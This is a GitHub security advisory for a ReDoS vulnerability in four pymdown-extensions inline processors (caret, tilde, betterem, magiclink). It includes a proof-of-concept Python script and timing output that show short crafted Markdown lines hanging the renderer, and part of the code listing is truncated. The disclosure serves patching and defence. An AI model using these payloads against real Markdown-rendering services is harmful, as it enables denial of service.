GitHub Advisoryadvisory · PyPI
GHSA-gm37-52c6-37mw pymdown-extensions: exponential-backtracking ReDoS in caret, tilde, betterem, and magiclink inline processors
HIGH
Official page ↗
- Aliases
- CVE-2026-67422
- Ecosystem
- PyPI
- Packages
- pymdown-extensions
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-1333
- Reviewed
- 2026-08-07
Affected packages
• PyPI pymdown-extensions: < 11.0.1 → fixed in 11.0.1
Description
Summary
Four inline processors in pymdown-extensions contain regular expressions with
exponential backtracking. A single untrusted Markdown line under
50 bytes drives `markdown.markdown()` into unbounded CPU on the rendering thread
(seconds at ~45 bytes, growing exponentially with each added character). All four
fire in the extension's default configuration
and are reachable through the documented public API. The `caret`/`tilde`/
`betterem` blow-up was introduced by the emphasis-pattern rewrite in PR #2547
(first released in 10.13, Dec 2024) — earlier releases used a linear
`(.+?)` / `([^\s]+?)` content group — and is present through 11.0 (latest);
`magiclink`'s host pattern is long-standing and affects effectively all releases.
Likely CWE-1333 (Inefficient Regular Expression Complexity).
This is a distinct issue from CVE-2025-68142 (ReDoS in `pymdownx.blocks.caption`,
`RE_FIG_NUM`, fixed in 10.16.1): different extensions, different regexes, and a
different root cause (delimiter-run partition ambiguity rather than a `.`/`\.`
typo).
Details
Four regexes share, or closely mirror, a vulnerable shape — an inner group that
can partition a run of the delimiter character into `{2,}`-sized pieces in
exponentially many ways, wrapped in a lazy `+?` that must fail before the engine
can give up:
| Extension | Regex | Location (`11.0`) |
|---|---|---|
| `pymdownx.caret` (superscript `^…^`) | `SUP2` | `pymdownx/caret.py:56` |
| `pymdownx.tilde` (subscript `~…~`) | `SUB2` | `pymdownx/tilde.py:55` |
| `pymdownx.betterem` (underscore `_…_`) | `SMART_UNDER_EM2` (default) | `pymdownx/betterem.py:93` |
| `pymdownx.magiclink` (bare-URL autolink) | `RE_LINK` | `pymdownx/magiclink.py:56` (host at `:59`) |
`pymdownx/caret.py:56` (`pymdown-extensions 11.0`):
```python
SUP2 = r'(? (malicious builder, benign builder [valid & closed], ramp, hang count)
CASES = {
"pymdownx.caret": (lambda n: "^a" + "^" * n + "b", lambda n: "^" + "a" * n + "^", [24, 30, 36], 44),
"pymdownx.tilde": (lambda n: "~a" + "~" * n + "b", lambda n: "~" + "a" * n + "~", [24, 30, 36], 44),
"pymdownx.betterem": (lambda n: "_a" + "_" * n + "b", lambda n: "_" + "a" * n + "_", [24, 30, 36], 44),
"pymdownx.magiclink": (lambda n: "http://a" + "." * n + " ", lambda n: "http://" + "a" * n + ".com ", [28, 32, 36], 40),
}
repro = []
for ext, (evil, benign, ramp, hang) in CASES.items():
base_txt = benign(hang) # valid, closed run: same regex machinery, but linear
base = render(ext, base_txt)
print(f"\n[{ext}] benign baseline (len {len(base_txt)}, valid+closed): {base * 1e3:.3f} ms")
prev = None
for n in ramp:
txt = evil(n)
dt = render(ext, txt)
ratio = f" (x{dt / prev:.1f})" if (prev and dt) else ""
shown = f"{dt:8.3f} s" if dt is not None else f"> {CAP:.0f} s (HANG)"
print(f" malicious len {len(txt):3d}: {shown}{ratio}")
prev = dt
txt = evil(hang)
dt = render(ext, txt)
hung = dt is None
print(f" malicious len {len(txt):3d}: "
f"{'> %.0f s (HANG)' % CAP if hung else '%.3f s' % dt}")
ok = base 1.0)
repro.append(ok)
print(f" => {'REPRODUCED' if ok else 'not reproduced'}: a {len(txt)}-byte "
f"malicious line stalls the renderer; a valid {len(base_txt)}-byte line is instant.")
assert all(repro), "not reproduced"
print("\nVERDICT: exponential ReDoS reproduced in all four extensions via the "
"public markdown.markdown() API, default config (each 5 s (HANG)
=> REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.
[pymdownx.tilde] benign baseline (len 46, valid+closed): 5.364 ms
malicious len 27: 0.003 s
malicious len 33: 0.053 s (x17.1)
malicious len 39: 0.962 s (x18.2)
malicious len 47: > 5 s (HANG)
=> REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.
[pymdownx.betterem] benign baseline (len 46, valid+closed): 3.167 ms
malicious len 27: 0.003 s
malicious len 33: 0.052 s (x17.1)
malicious len 39: 0.948 s (x18.1)
malicious len 47: > 5 s (HANG)
=> REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.
[pymdownx.magiclink] benign baseline (len 52, valid+closed): 4.935 ms
malicious len 37: 0.033 s
malicious len 41: 0.210 s (x6.4)
malicious len 45: 1.405 s (x6.7)
malicious len 49: > 5 s (HANG)
=> REPRODUCED: a 49-byte malicious line stalls the renderer; a valid 52-byte line is instant.
VERDICT: exponential ReDoS reproduced in all four extensions via the public m…
Related
Alias · CVE (1)
- CVE-2026-67422 pymdown-extensions is a collection of extensions for the Python Markdown library. vulnerability
Weakness · CWE (1)
- CWE-1333 Inefficient Regular Expression Complexity weakness
References
- https://github.com/facelessuser/pymdown-extensions/security/advisories/GHSA-gm37-52c6-37mw web
- https://nvd.nist.gov/vuln/detail/CVE-2026-67422 advisory
- https://github.com/facelessuser/pymdown-extensions/commit/c68498598d7b13011bb4571350b6e3612a4ce44b web
- https://github.com/facelessuser/pymdown-extensions package